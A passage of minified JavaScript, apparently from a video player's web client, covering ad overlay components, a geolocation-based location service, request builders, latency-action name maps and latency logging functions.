g.q.Wm=function(){if(this.C!=null){var x=this.C.getProgressState();if(x!=null&&x.current!=null&&this.Z){var T=this.C instanceof Rn?this.videoAdDurationSeconds!==void 0?this.videoAdDurationSeconds:x.seekableEnd:this.videoAdDurationSeconds!==void 0?this.videoAdDurationSeconds:this.C instanceof Pu?x.seekableEnd:this.api.getDuration(2,!1);x=x.current;var t,u,H=((t=this.api.getVideoData())==null?0:(u=t.Ty)==null?0:u.call(t))?Math.max(T-x,0):T-x;OV(this.Z,{FORMATTED_AD_DURATION_REMAINING:String(g.S1(H)),
TIME_REMAINING:String(Math.ceil(H))})}}};
g.q.show=function(){wr(this);fK.prototype.show.call(this)};g.P(U3,pK);U3.prototype.onClick=function(x){pK.prototype.onClick.call(this,x);this.api.onAdUxClicked(this.componentType)};g.P(rJ,ZJ);rJ.prototype.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});if(x=T.content){g.$U(this.element,x);var t,u;T=((t=T.interaction)==null?void 0:(u=t.accessibility)==null?void 0:u.label)||x;this.element.setAttribute("aria-label",T)}else g.vW(Error("AdSimpleAttributedString does not have text content"))};
rJ.prototype.clear=function(){this.hide()};
rJ.prototype.onClick=function(x){ZJ.prototype.onClick.call(this,x)};g.P(zK,ZJ);
zK.prototype.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});(x=T.label)&&x.content&&!g.Y9(x.content)?(this.adBadgeText.init(sV("ad-simple-attributed-string"),new bJ(x)),(T=T.adPodIndex)&&T.content&&!g.Y9(T.content)&&(this.C=new rJ(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),this.C.yU(this.element),g.y(this,this.C),this.C.element.classList.add("ytp-ad-badge__pod-index"),this.C.init(sV("ad-simple-attributed-string"),new bJ(T))),this.element.classList.add(this.Z?"ytp-ad-badge--stark-clean-player":
"ytp-ad-badge--stark"),this.show()):g.vW(Error("No label is returned in AdBadgeViewModel."))};
zK.prototype.show=function(){this.adBadgeText.show();var x;(x=this.C)==null||x.show();ZJ.prototype.show.call(this)};
zK.prototype.hide=function(){this.adBadgeText.hide();var x;(x=this.C)==null||x.hide();ZJ.prototype.hide.call(this)};g.P(kr,ZJ);
kr.prototype.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});(x=T.adPodIndex)&&x.content&&!g.Y9(x.content)&&(this.C=new rJ(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),this.C.yU(this.element),g.y(this,this.C),this.C.init(sV("ad-simple-attributed-string"),new bJ(x)),(this.api.Y().B("clean_player_style_fix_on_web")?T.visibilityCondition==="AD_POD_INDEX_VISIBILITY_CONDITION_AUTOHIDE":!this.Z||T.visibilityCondition!=="AD_POD_INDEX_VISIBILITY_CONDITION_ALWAYS_SHOW_IF_NONSKIPPABLE")&&this.element.classList.add("ytp-ad-pod-index--autohide"));
this.element.classList.add("ytp-ad-pod-index--stark");this.api.B("clean_player_style_fix_on_web")&&this.element.classList.add("ytp-ad-pod-index--stark-with-light-shadow");this.show()};
kr.prototype.show=function(){var x;(x=this.C)==null||x.show();ZJ.prototype.show.call(this)};
kr.prototype.hide=function(){var x;(x=this.C)==null||x.hide();ZJ.prototype.hide.call(this)};g.P(Fu,ZJ);
Fu.prototype.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});if(T!=null&&T.text){var t;if(((t=T.text)==null?0:t.content)&&!g.Y9(T.text.content)){this.C=new g.qS({L:"div",G:"ytp-ad-disclosure-banner__text",z9:T.text.content});g.y(this,this.C);this.C.yU(this.element);var u,H;x=((u=T.interaction)==null?void 0:(H=u.accessibility)==null?void 0:H.label)||T.text.content;this.element.setAttribute("aria-label",x);var I;if((I=T.interaction)==null?0:I.onTap)this.Z=new g.qS({L:"div",G:"ytp-ad-disclosure-banner__chevron",W:[g.MS()]}),
g.y(this,this.Z),this.Z.yU(this.element);this.show()}}else g.vW(Error("No banner text found in AdDisclosureBanner."))};
Fu.prototype.clear=function(){this.hide()};h9.prototype.getLength=function(){return this.C-this.Z};g.P(V6,g.qS);V6.prototype.Bk=function(){var x=this.Z.getProgressState(),T=x.seekableEnd;this.api.getPresentingPlayerType()===2&&this.api.Y().B("show_preskip_progress_bar_for_skippable_ads")&&(T=this.j?this.j/1E3:x.seekableEnd);x=vu(new h9(x.seekableStart,T),x.current,0);this.progressBar.style.width=x*100+"%"};
V6.prototype.onStateChange=function(){g.L1(this.api.Y())||(this.api.getPresentingPlayerType()===2?this.C===-1&&(this.show(),this.C=this.Z.subscribe("h",this.Bk,this),this.Bk()):this.C!==-1&&(this.hide(),this.Z.Cd(this.C),this.C=-1))};g.P(GK,ZJ);
GK.prototype.init=function(x,T,t,u){ZJ.prototype.init.call(this,x,T,t);t=!0;if(T.skipOrPreviewRenderer){var H=T.skipOrPreviewRenderer;x=g.N(H,i_);H=g.N(H,Lx);x?(H=new m6(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.Z,this.jY),H.yU(this.S),H.init(sV("skip-button"),x,this.macros),g.y(this,H)):H&&!this.api.Y().experiments.aU("disable_ad_preview_for_instream_ads")&&(x=new TK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.Z,!1),x.yU(this.S),x.init(sV("ad-preview"),H,
this.macros),on(x),g.y(this,x));if(x=g.N(T.skipOrPreviewRenderer,i_)){t=!1;var I=x.skipOffsetMilliseconds}}T.brandInteractionRenderer&&(x=T.brandInteractionRenderer.brandInteractionRenderer,H=new s3(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),H.yU(this.QU),H.init(sV("instream-user-sentiment"),x,this.macros),g.y(this,H));if(x=g.N(T,hb3))if(x=g.N(x,hb3))H=new t9(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.Z,!!T.showWithoutLinkedMediaLayout),g.y(this,H),
H.yU(this.D),H.init(sV("flyout-cta"),x,this.macros);x=(this.api.Y().B("disable_ad_duration_remaining_for_instream_video_ads")||T.adPodIndex!==void 0)&&!1;u=u&&u.videoAdDurationSeconds;if(T.adBadgeRenderer){var E=T.adBadgeRenderer;H=g.N(E,Jz);H!=null?(E=new zK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,x),g.y(this,E),E.yU(this.C),E.init(sV("ad-badge"),H,this.macros),this.j=E.element):(H=E.simpleAdBadgeRenderer,H==null&&(H={text:{text:"Ad",isTemplated:!1}}),E=new Ma(this.api,this.layoutId,
this.interactionLoggingClientData,this.JQ,!0),g.y(this,E),E.yU(this.C),E.init(sV("simple-ad-badge"),H,this.macros))}T.adPodIndex&&(H=g.N(T.adPodIndex,D9h),H!=null&&(t=new kr(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,t),g.y(this,t),t.yU(this.C),t.init(sV("ad-pod-index"),H)));T.adDurationRemaining&&!T.showWithoutLinkedMediaLayout&&(t=T.adDurationRemaining.adDurationRemainingRenderer,t==null&&(t={templatedCountdown:{templatedAdText:{text:"{FORMATTED_AD_DURATION_REMAINING}",isTemplated:!0}}}),
u=new Yr(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.Z,u,x),g.y(this,u),u.yU(this.C),u.init(sV("ad-duration-remaining"),t,this.macros),x&&u.element.classList.add("ytp-ad-duration-remaining-autohide"));T.adInfoRenderer&&(u=g.N(T.adInfoRenderer,GO))&&(t=new Qo(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.element,void 0,x),g.y(this,t),this.api.Y().B("enable_ad_pod_index_autohide")&&this.j!==null?this.C.insertBefore(t.element,this.j.nextSibling):t.yU(this.C),
t.init(sV("ad-info-hover-text-button"),u,this.macros));T.visitAdvertiserRenderer&&(t=g.N(T.visitAdvertiserRenderer,g.nx))&&(H=$Rf(this)&&this.K?this.K:this.C)&&(u=new dJ(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),g.y(this,u),u.yU(H),u.init(sV("visit-advertiser"),t,this.macros),NV(u.element),t=Qw(u.element),Ct(u.element,t+" This link opens in new tab"));!(u=this.api.Y())||g.VZ(u)||u.controlsType!="3"&&!u.disableOrganicUi||(I=new V6(this.api,this.Z,I,x),I.yU(this.nf),g.y(this,
I));T.adDisclosureBannerRenderer&&(T=g.N(T.adDisclosureBannerRenderer,WdM))&&(I=new Fu(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),I.yU(this.Om),I.init(sV("ad-disclosure-banner"),T),g.y(this,I));this.api.Y().B("enable_updated_html5_player_focus_style")&&g.uY(this.element,"ytp-ad-player-overlay-updated-focus-style");x&&this.api.Y().Z&&this.C.classList.add("ytp-ad-player-overlay-instream-info--clean-player-mweb");this.show()};
GK.prototype.clear=function(){this.hide()};gJ.prototype.set=function(x,T,t){t=t!==void 0?Date.now()+t:void 0;this.C.set(x,T,t)};
gJ.prototype.get=function(x){return this.C.get(x)};
gJ.prototype.remove=function(x){this.C.remove(x)};var y6=null,Na=null,J9=null,ZfH=null;g.DC("yt.www.ads.eventcache.getLastCompanionData",function(){return y6});
g.DC("yt.www.ads.eventcache.getLastPlaShelfData",function(){return null});
g.DC("yt.www.ads.eventcache.getLastUpdateEngagementPanelAction",function(){return Na});
g.DC("yt.www.ads.eventcache.getLastChangeEngagementPanelVisibilityAction",function(){return J9});
g.DC("yt.www.ads.eventcache.getLastScrollToEngagementPanelCommand",function(){return ZfH});var elJ=new Map([["dark","USER_INTERFACE_THEME_DARK"],["light","USER_INTERFACE_THEME_LIGHT"]]);C2.prototype.handleResponse=function(x,T){if(!T)throw Error("request needs to be passed into ConsistencyService");var t,u;T=((t=T.ws.context)==null?void 0:(u=t.request)==null?void 0:u.consistencyTokenJars)||[];var H;(x=(H=x.responseContext)==null?void 0:H.consistencyTokenJar)&&this.replace(T,x)};
C2.prototype.replace=function(x,T){x=g.S(x);for(var t=x.next();!t.done;t=x.next())delete this.C[t.value.encryptedTokenJarContents];mR5(this,T)};var tzC=window.location.hostname.split(".").slice(-2).join("."),k0;p2.getInstance=function(){k0=g.yJ("yt.clientLocationService.instance");k0||(k0=new p2,g.DC("yt.clientLocationService.instance",k0));return k0};
g.q=p2.prototype;
g.q.setLocationOnInnerTubeContext=function(x){x.client||(x.client={});if(this.C)x.client.locationInfo||(x.client.locationInfo={}),x.client.locationInfo.latitudeE7=Math.floor(this.C.coords.latitude*1E7),x.client.locationInfo.longitudeE7=Math.floor(this.C.coords.longitude*1E7),x.client.locationInfo.horizontalAccuracyMeters=Math.round(this.C.coords.accuracy),x.client.locationInfo.forceLocationPlayabilityTokenRefresh=!0;else if(this.j||this.locationPlayabilityToken)x.client.locationPlayabilityToken=this.j||
this.locationPlayabilityToken};
g.q.handleResponse=function(x){var T;x=(T=x.responseContext)==null?void 0:T.locationPlayabilityToken;x!==void 0&&(this.locationPlayabilityToken=x,this.C=void 0,g.pr("INNERTUBE_CLIENT_NAME")==="TVHTML5"?(this.localStorage=Q6(this))&&this.localStorage.set("yt-location-playability-token",x,15552E3):g.Ly("YT_CL",JSON.stringify({loctok:x}),15552E3,tzC,!0))};
g.q.clearLocationPlayabilityToken=function(x){x==="TVHTML5"?(this.localStorage=Q6(this))&&this.localStorage.remove("yt-location-playability-token"):g.a6("YT_CL");this.j=void 0;this.Z!==-1&&(clearTimeout(this.Z),this.Z=-1)};
g.q.getCurrentPositionFromGeolocation=function(){var x=this;if(!(navigator&&navigator.geolocation&&navigator.geolocation.getCurrentPosition))return Promise.reject(Error("Geolocation unsupported"));var T=!1,t=1E4;g.pr("INNERTUBE_CLIENT_NAME")==="MWEB"&&(T=!0,t=15E3);return new Promise(function(u,H){navigator.geolocation.getCurrentPosition(function(I){x.C=I;u(I)},function(I){H(I)},{enableHighAccuracy:T,
maximumAge:0,timeout:t})})};
g.q.createUnpluggedLocationInfo=function(x){var T={};x=x.coords;if(x==null?0:x.latitude)T.latitudeE7=Math.floor(x.latitude*1E7);if(x==null?0:x.longitude)T.longitudeE7=Math.floor(x.longitude*1E7);if(x==null?0:x.accuracy)T.locationRadiusMeters=Math.round(x.accuracy);return T};
g.q.createLocationInfo=function(x){var T={};x=x.coords;if(x==null?0:x.latitude)T.latitudeE7=Math.floor(x.latitude*1E7);if(x==null?0:x.longitude)T.longitudeE7=Math.floor(x.longitude*1E7);return T};g.q=Pev.prototype;g.q.contains=function(x){return Object.prototype.hasOwnProperty.call(this.C,x)};
g.q.get=function(x){if(this.contains(x))return this.C[x]};
g.q.set=function(x,T){this.C[x]=T};
g.q.iy=function(){return Object.keys(this.C)};
g.q.remove=function(x){delete this.C[x]};f2.prototype.getModuleId=function(x){return x.serviceId.getModuleId()};
f2.prototype.get=function(x){a:{var T=this.mappings.get(x.toString());switch(T.type){case "mapping":x=T.value;break a;case "factory":T=T.value();this.mappings.set(x.toString(),{type:"mapping",value:T});x=T;break a;default:x=$Z(T)}}return x};
f2.prototype.registerService=function(x,T){this.mappings.set(x.toString(),{type:"mapping",value:T});return x};
new f2;var Fx={},S5q=(Fx.WEB_UNPLUGGED="^unplugged/",Fx.WEB_UNPLUGGED_ONBOARDING="^unplugged/",Fx.WEB_UNPLUGGED_OPS="^unplugged/",Fx.WEB_UNPLUGGED_PUBLIC="^unplugged/",Fx.WEB_CREATOR="^creator/",Fx.WEB_KIDS="^kids/",Fx.WEB_EXPERIMENTS="^experiments/",Fx.WEB_MUSIC="^music/",Fx.WEB_REMIX="^music/",Fx.WEB_MUSIC_EMBEDDED_PLAYER="^music/",Fx.WEB_MUSIC_EMBEDDED_PLAYER="^main_app/|^sfv/",Fx);Xu.prototype.T=function(x,T,t){T=T===void 0?{}:T;t=t===void 0?qR:t;var u={context:g.O3(x.clickTrackingParams,!1,this.K)};var H=this.Z(x);if(H){this.C(u,H,T);var I;T=g.K2(this.j());(H=(I=g.N(x.commandMetadata,g.RW))==null?void 0:I.apiUrl)&&(T=H);I=MEH(g2(T));x=Object.assign({},{command:x},void 0);u={input:I,oM:Bi(I),ws:u,config:x};u.config.Mo?u.config.Mo.identity=t:u.config.Mo={identity:t};return u}g.vW(new g.CS("Error: Failed to create Request from Command.",x))};
g.i3.Object.defineProperties(Xu.prototype,{K:{configurable:!0,enumerable:!0,get:function(){return!1}}});
g.P(xK,Xu);g.P(TE,xK);TE.prototype.T=function(){return{input:"/getDatasyncIdsEndpoint",oM:Bi("/getDatasyncIdsEndpoint","GET"),ws:{}}};
TE.prototype.j=function(){return[]};
TE.prototype.Z=function(){};
TE.prototype.C=function(){};var syy={},ob3=(syy.GET_DATASYNC_IDS=wJ(TE),syy);var hu={},uVy=(hu["analytics.explore"]="LATENCY_ACTION_CREATOR_ANALYTICS_EXPLORE",hu["artist.analytics"]="LATENCY_ACTION_CREATOR_ARTIST_ANALYTICS",hu["artist.events"]="LATENCY_ACTION_CREATOR_ARTIST_CONCERTS",hu["artist.presskit"]="LATENCY_ACTION_CREATOR_ARTIST_PROFILE",hu["asset.claimed_videos"]="LATENCY_ACTION_CREATOR_CMS_ASSET_CLAIMED_VIDEOS",hu["asset.composition"]="LATENCY_ACTION_CREATOR_CMS_ASSET_COMPOSITION",hu["asset.composition_ownership"]="LATENCY_ACTION_CREATOR_CMS_ASSET_COMPOSITION_OWNERSHIP",
hu["asset.composition_policy"]="LATENCY_ACTION_CREATOR_CMS_ASSET_COMPOSITION_POLICY",hu["asset.embeds"]="LATENCY_ACTION_CREATOR_CMS_ASSET_EMBEDS",hu["asset.history"]="LATENCY_ACTION_CREATOR_CMS_ASSET_HISTORY",hu["asset.issues"]="LATENCY_ACTION_CREATOR_CMS_ASSET_ISSUES",hu["asset.licenses"]="LATENCY_ACTION_CREATOR_CMS_ASSET_LICENSES",hu["asset.metadata"]="LATENCY_ACTION_CREATOR_CMS_ASSET_METADATA",hu["asset.ownership"]="LATENCY_ACTION_CREATOR_CMS_ASSET_OWNERSHIP",hu["asset.policy"]="LATENCY_ACTION_CREATOR_CMS_ASSET_POLICY",
hu["asset.references"]="LATENCY_ACTION_CREATOR_CMS_ASSET_REFERENCES",hu["asset.shares"]="LATENCY_ACTION_CREATOR_CMS_ASSET_SHARES",hu["asset.sound_recordings"]="LATENCY_ACTION_CREATOR_CMS_ASSET_SOUND_RECORDINGS",hu["asset_group.assets"]="LATENCY_ACTION_CREATOR_CMS_ASSET_GROUP_ASSETS",hu["asset_group.campaigns"]="LATENCY_ACTION_CREATOR_CMS_ASSET_GROUP_CAMPAIGNS",hu["asset_group.claimed_videos"]="LATENCY_ACTION_CREATOR_CMS_ASSET_GROUP_CLAIMED_VIDEOS",hu["asset_group.metadata"]="LATENCY_ACTION_CREATOR_CMS_ASSET_GROUP_METADATA",
hu["song.analytics"]="LATENCY_ACTION_CREATOR_SONG_ANALYTICS",hu.creator_channel_dashboard="LATENCY_ACTION_CREATOR_CHANNEL_DASHBOARD",hu["channel.analytics"]="LATENCY_ACTION_CREATOR_CHANNEL_ANALYTICS",hu["channel.comments"]="LATENCY_ACTION_CREATOR_CHANNEL_COMMENTS",hu["channel.content"]="LATENCY_ACTION_CREATOR_POST_LIST",hu["channel.content.promotions"]="LATENCY_ACTION_CREATOR_PROMOTION_LIST",hu["channel.copyright"]="LATENCY_ACTION_CREATOR_CHANNEL_COPYRIGHT",hu["channel.editing"]="LATENCY_ACTION_CREATOR_CHANNEL_EDITING",
hu["channel.monetization"]="LATENCY_ACTION_CREATOR_CHANNEL_MONETIZATION",hu["channel.music"]="LATENCY_ACTION_CREATOR_CHANNEL_MUSIC",hu["channel.music_storefront"]="LATENCY_ACTION_CREATOR_CHANNEL_MUSIC_STOREFRONT",hu["channel.playlists"]="LATENCY_ACTION_CREATOR_CHANNEL_PLAYLISTS",hu["channel.translations"]="LATENCY_ACTION_CREATOR_CHANNEL_TRANSLATIONS",hu["channel.videos"]="LATENCY_ACTION_CREATOR_CHANNEL_VIDEOS",hu["channel.live_streaming"]="LATENCY_ACTION_CREATOR_LIVE_STREAMING",hu["dialog.copyright_strikes"]=
"LATENCY_ACTION_CREATOR_DIALOG_COPYRIGHT_STRIKES",hu["dialog.video_copyright"]="LATENCY_ACTION_CREATOR_DIALOG_VIDEO_COPYRIGHT",hu["dialog.uploads"]="LATENCY_ACTION_CREATOR_DIALOG_UPLOADS",hu.owner="LATENCY_ACTION_CREATOR_CMS_DASHBOARD",hu["owner.allowlist"]="LATENCY_ACTION_CREATOR_CMS_ALLOWLIST",hu["owner.analytics"]="LATENCY_ACTION_CREATOR_CMS_ANALYTICS",hu["owner.art_tracks"]="LATENCY_ACTION_CREATOR_CMS_ART_TRACKS",hu["owner.assets"]="LATENCY_ACTION_CREATOR_CMS_ASSETS",hu["owner.asset_groups"]=
"LATENCY_ACTION_CREATOR_CMS_ASSET_GROUPS",hu["owner.bulk"]="LATENCY_ACTION_CREATOR_CMS_BULK_HISTORY",hu["owner.campaigns"]="LATENCY_ACTION_CREATOR_CMS_CAMPAIGNS",hu["owner.channel_invites"]="LATENCY_ACTION_CREATOR_CMS_CHANNEL_INVITES",hu["owner.channels"]="LATENCY_ACTION_CREATOR_CMS_CHANNELS",hu["owner.claimed_videos"]="LATENCY_ACTION_CREATOR_CMS_CLAIMED_VIDEOS",hu["owner.claims"]="LATENCY_ACTION_CREATOR_CMS_MANUAL_CLAIMING",hu["owner.claims.manual"]="LATENCY_ACTION_CREATOR_CMS_MANUAL_CLAIMING",hu["owner.delivery"]=
"LATENCY_ACTION_CREATOR_CMS_CONTENT_DELIVERY",hu["owner.delivery_templates"]="LATENCY_ACTION_CREATOR_CMS_DELIVERY_TEMPLATES",hu["owner.issues"]="LATENCY_ACTION_CREATOR_CMS_ISSUES",hu["owner.licenses"]="LATENCY_ACTION_CREATOR_CMS_LICENSES",hu["owner.pitch_music"]="LATENCY_ACTION_CREATOR_CMS_PITCH_MUSIC",hu["owner.policies"]="LATENCY_ACTION_CREATOR_CMS_POLICIES",hu["owner.releases"]="LATENCY_ACTION_CREATOR_CMS_RELEASES",hu["owner.reports"]="LATENCY_ACTION_CREATOR_CMS_REPORTS",hu["owner.videos"]="LATENCY_ACTION_CREATOR_CMS_VIDEOS",
hu["playlist.videos"]="LATENCY_ACTION_CREATOR_PLAYLIST_VIDEO_LIST",hu["post.comments"]="LATENCY_ACTION_CREATOR_POST_COMMENTS",hu["post.edit"]="LATENCY_ACTION_CREATOR_POST_EDIT",hu["promotion.edit"]="LATENCY_ACTION_CREATOR_PROMOTION_EDIT",hu["video.analytics"]="LATENCY_ACTION_CREATOR_VIDEO_ANALYTICS",hu["video.claims"]="LATENCY_ACTION_CREATOR_VIDEO_CLAIMS",hu["video.comments"]="LATENCY_ACTION_CREATOR_VIDEO_COMMENTS",hu["video.copyright"]="LATENCY_ACTION_CREATOR_VIDEO_COPYRIGHT",hu["video.edit"]="LATENCY_ACTION_CREATOR_VIDEO_EDIT",
hu["video.editor"]="LATENCY_ACTION_CREATOR_VIDEO_EDITOR",hu["video.editor_async"]="LATENCY_ACTION_CREATOR_VIDEO_EDITOR_ASYNC",hu["video.live_settings"]="LATENCY_ACTION_CREATOR_VIDEO_LIVE_SETTINGS",hu["video.live_streaming"]="LATENCY_ACTION_CREATOR_VIDEO_LIVE_STREAMING",hu["video.monetization"]="LATENCY_ACTION_CREATOR_VIDEO_MONETIZATION",hu["video.policy"]="LATENCY_ACTION_CREATOR_VIDEO_POLICY",hu["video.rights_management"]="LATENCY_ACTION_CREATOR_VIDEO_RIGHTS_MANAGEMENT",hu["video.translations"]="LATENCY_ACTION_CREATOR_VIDEO_TRANSLATIONS",
hu),vN={},kSJ=(vN.auto_search="LATENCY_ACTION_AUTO_SEARCH",vN.ad_to_ad="LATENCY_ACTION_AD_TO_AD",vN.ad_to_video="LATENCY_ACTION_AD_TO_VIDEO",vN.app_startup="LATENCY_ACTION_APP_STARTUP",vN.browse="LATENCY_ACTION_BROWSE",vN.cast_splash="LATENCY_ACTION_CAST_SPLASH",vN.channel_activity="LATENCY_ACTION_KIDS_CHANNEL_ACTIVITY",vN.channels="LATENCY_ACTION_CHANNELS",vN.chips="LATENCY_ACTION_CHIPS",vN.commerce_transaction="LATENCY_ACTION_COMMERCE_TRANSACTION",vN.direct_playback="LATENCY_ACTION_DIRECT_PLAYBACK",
vN.editor="LATENCY_ACTION_EDITOR",vN.embed="LATENCY_ACTION_EMBED",vN.embed_no_video="LATENCY_ACTION_EMBED_NO_VIDEO",vN.entity_key_serialization_perf="LATENCY_ACTION_ENTITY_KEY_SERIALIZATION_PERF",vN.entity_key_deserialization_perf="LATENCY_ACTION_ENTITY_KEY_DESERIALIZATION_PERF",vN.explore="LATENCY_ACTION_EXPLORE",vN.favorites="LATENCY_ACTION_FAVORITES",vN.home="LATENCY_ACTION_HOME",vN.inboarding="LATENCY_ACTION_INBOARDING",vN.library="LATENCY_ACTION_LIBRARY",vN.live="LATENCY_ACTION_LIVE",vN.live_pagination=
"LATENCY_ACTION_LIVE_PAGINATION",vN.management="LATENCY_ACTION_MANAGEMENT",vN.mini_app="LATENCY_ACTION_MINI_APP_PLAY",vN.notification_settings="LATENCY_ACTION_KIDS_NOTIFICATION_SETTINGS",vN.onboarding="LATENCY_ACTION_ONBOARDING",vN.parent_profile_settings="LATENCY_ACTION_KIDS_PARENT_PROFILE_SETTINGS",vN.parent_tools_collection="LATENCY_ACTION_PARENT_TOOLS_COLLECTION",vN.parent_tools_dashboard="LATENCY_ACTION_PARENT_TOOLS_DASHBOARD",vN.player_att="LATENCY_ACTION_PLAYER_ATTESTATION",vN.prebuffer="LATENCY_ACTION_PREBUFFER",
vN.prefetch="LATENCY_ACTION_PREFETCH",vN.profile_settings="LATENCY_ACTION_KIDS_PROFILE_SETTINGS",vN.profile_switcher="LATENCY_ACTION_LOGIN",vN.projects="LATENCY_ACTION_PROJECTS",vN.reel_watch="LATENCY_ACTION_REEL_WATCH",vN.results="LATENCY_ACTION_RESULTS",vN.red="LATENCY_ACTION_PREMIUM_PAGE_GET_BROWSE",vN.premium="LATENCY_ACTION_PREMIUM_PAGE_GET_BROWSE",vN.privacy_policy="LATENCY_ACTION_KIDS_PRIVACY_POLICY",vN.review="LATENCY_ACTION_REVIEW",vN.search_overview_answer="LATENCY_ACTION_SEARCH_OVERVIEW_ANSWER",
vN.search_ui="LATENCY_ACTION_SEARCH_UI",vN.search_suggest="LATENCY_ACTION_SUGGEST",vN.search_zero_state="LATENCY_ACTION_SEARCH_ZERO_STATE",vN.secret_code="LATENCY_ACTION_KIDS_SECRET_CODE",vN.seek="LATENCY_ACTION_PLAYER_SEEK",vN.settings="LATENCY_ACTION_SETTINGS",vN.store="LATENCY_ACTION_STORE",vN.supervision_dashboard="LATENCY_ACTION_KIDS_SUPERVISION_DASHBOARD",vN.tenx="LATENCY_ACTION_TENX",vN.video_preview="LATENCY_ACTION_VIDEO_PREVIEW",vN.video_to_ad="LATENCY_ACTION_VIDEO_TO_AD",vN.watch="LATENCY_ACTION_WATCH",
vN.watch_it_again="LATENCY_ACTION_KIDS_WATCH_IT_AGAIN",vN["watch,watch7"]="LATENCY_ACTION_WATCH",vN["watch,watch7_html5"]="LATENCY_ACTION_WATCH",vN["watch,watch7ad"]="LATENCY_ACTION_WATCH",vN["watch,watch7ad_html5"]="LATENCY_ACTION_WATCH",vN.wn_comments="LATENCY_ACTION_LOAD_COMMENTS",vN.ww_rqs="LATENCY_ACTION_WHO_IS_WATCHING",vN.voice_assistant="LATENCY_ACTION_VOICE_ASSISTANT",vN.cast_load_by_entity_to_watch="LATENCY_ACTION_CAST_LOAD_BY_ENTITY_TO_WATCH",vN.networkless_performance="LATENCY_ACTION_NETWORKLESS_PERFORMANCE",
vN.gel_compression="LATENCY_ACTION_GEL_COMPRESSION",vN.gel_jspb_serialize="LATENCY_ACTION_GEL_JSPB_SERIALIZE",vN.attestation_challenge_fetch="LATENCY_ACTION_ATTESTATION_CHALLENGE_FETCH",vN);Object.assign(kSJ,uVy);g.P(PM,Zc);var N$H=new jr("aft-recorded",PM);var $5y=g.BX.ytLoggingGelSequenceIdObj_||{};g.DC("ytLoggingGelSequenceIdObj_",$5y);var YK=g.BX.ytLoggingLatencyUsageStats_||{};g.DC("ytLoggingLatencyUsageStats_",YK);SK.prototype.tick=function(x,T,t,u){UM(this,"tick_"+x+"_"+T)||g.io("latencyActionTicked",{tickName:x,clientActionNonce:T},{timestamp:t,cttAuthInfo:u})};
SK.prototype.info=function(x,T,t){var u=Object.keys(x).join("");UM(this,"info_"+u+"_"+T)||(x=Object.assign({},x),x.clientActionNonce=T,g.io("latencyActionInfo",x,{cttAuthInfo:t}))};
SK.prototype.jspbInfo=function(x,T,t){for(var u="",H=0;H<FV(x).length;H++)FV(x)[H]!==void 0&&(u=H===0?u.concat(""+H):u.concat("_"+H));if(!UM(this,"info_"+u+"_"+T)){d9(x,2,T);t={cttAuthInfo:t};T=g.R6("jspb_sparse_encoded_pivot")?new y0([{}]):new y0;x!=null?Ud(x,ai):x=void 0;T5(T,7,s2h,x);t=t===void 0?{}:t;x=!1;g.pr("ytLoggingEventsDefaultDisabled",!1)&&(x=!0);x=x?null:g.Kf;t=t===void 0?{}:t;u=Math.round(t.timestamp||(0,g.bo)());mv(T,1,u<Number.MAX_SAFE_INTEGER?u:0);u=new B9;t.lact?mv(u,1,isFinite(t.lact)?
t.lact:-1):t.timestamp?mv(u,1,-1):(H=bH(),mv(u,1,isFinite(H)?H:-1));if(t.sequenceGroup&&!g.R6("web_gel_sequence_info_killswitch")){H=t.sequenceGroup;var I=R$V(H),E=new gF;mv(E,2,I);d9(E,1,H);iX(u,gF,3,E);t.endOfSequence&&delete $5y[t.sequenceGroup]}iX(T,B9,33,u);(t.sendIsolatedPayload?wiq:KF5)("latencyActionInfo",{endpoint:"log_event",payload:T,cttAuthInfo:t.cttAuthInfo,dangerousLogToVisitorSession:t.dangerousLogToVisitorSession},x)}};
SK.prototype.span=function(x,T,t){var u=Object.keys(x).join("");UM(this,"span_"+u+"_"+T)||(x.clientActionNonce=T,g.io("latencyActionSpan",x,{cttAuthInfo:t}))};var VS=window,bc=VS.performance||VS.mozPerformance||VS.msPerformance||VS.webkitPerformance||new FMH;var ycq=!1,Vr3=!1,Ll={'script[name="scheduler/scheduler"]':"sj",'script[name="player/base"]':"pj",'link[rel="preload"][name="player/embed"]':"pej",'link[rel="stylesheet"][name="www-player"]':"pc",'link[rel="stylesheet"][name="player/www-player"]':"pc",'script[name="desktop_polymer/desktop_polymer"]':"dpj",'link[rel="import"][name="desktop_polymer"]':"dph",'script[name="mobile-c3"]':"mcj",'link[rel="stylesheet"][name="mobile-c3"]':"mcc",'script[name="player-plasma-ias-phone/base"]':"mcppj",'script[name="player-plasma-ias-tablet/base"]':"mcptj",
'link[rel="stylesheet"][name="mobile-polymer-player-ias"]':"mcpc",'link[rel="stylesheet"][name="mobile-polymer-player-svg-ias"]':"mcpsc",'script[name="mobile_blazer_core_mod"]':"mbcj",'link[rel="stylesheet"][name="mobile_blazer_css"]':"mbc",'script[name="mobile_blazer_logged_in_users_mod"]':"mbliuj",'script[name="mobile_blazer_logged_out_users_mod"]':"mblouj",'script[name="mobile_blazer_noncore_mod"]':"mbnj","#player_css":"mbpc",'script[name="mobile_blazer_desktopplayer_mod"]':"mbpj",'link[rel="stylesheet"][name="mobile_blazer_tablet_css"]':"mbtc",
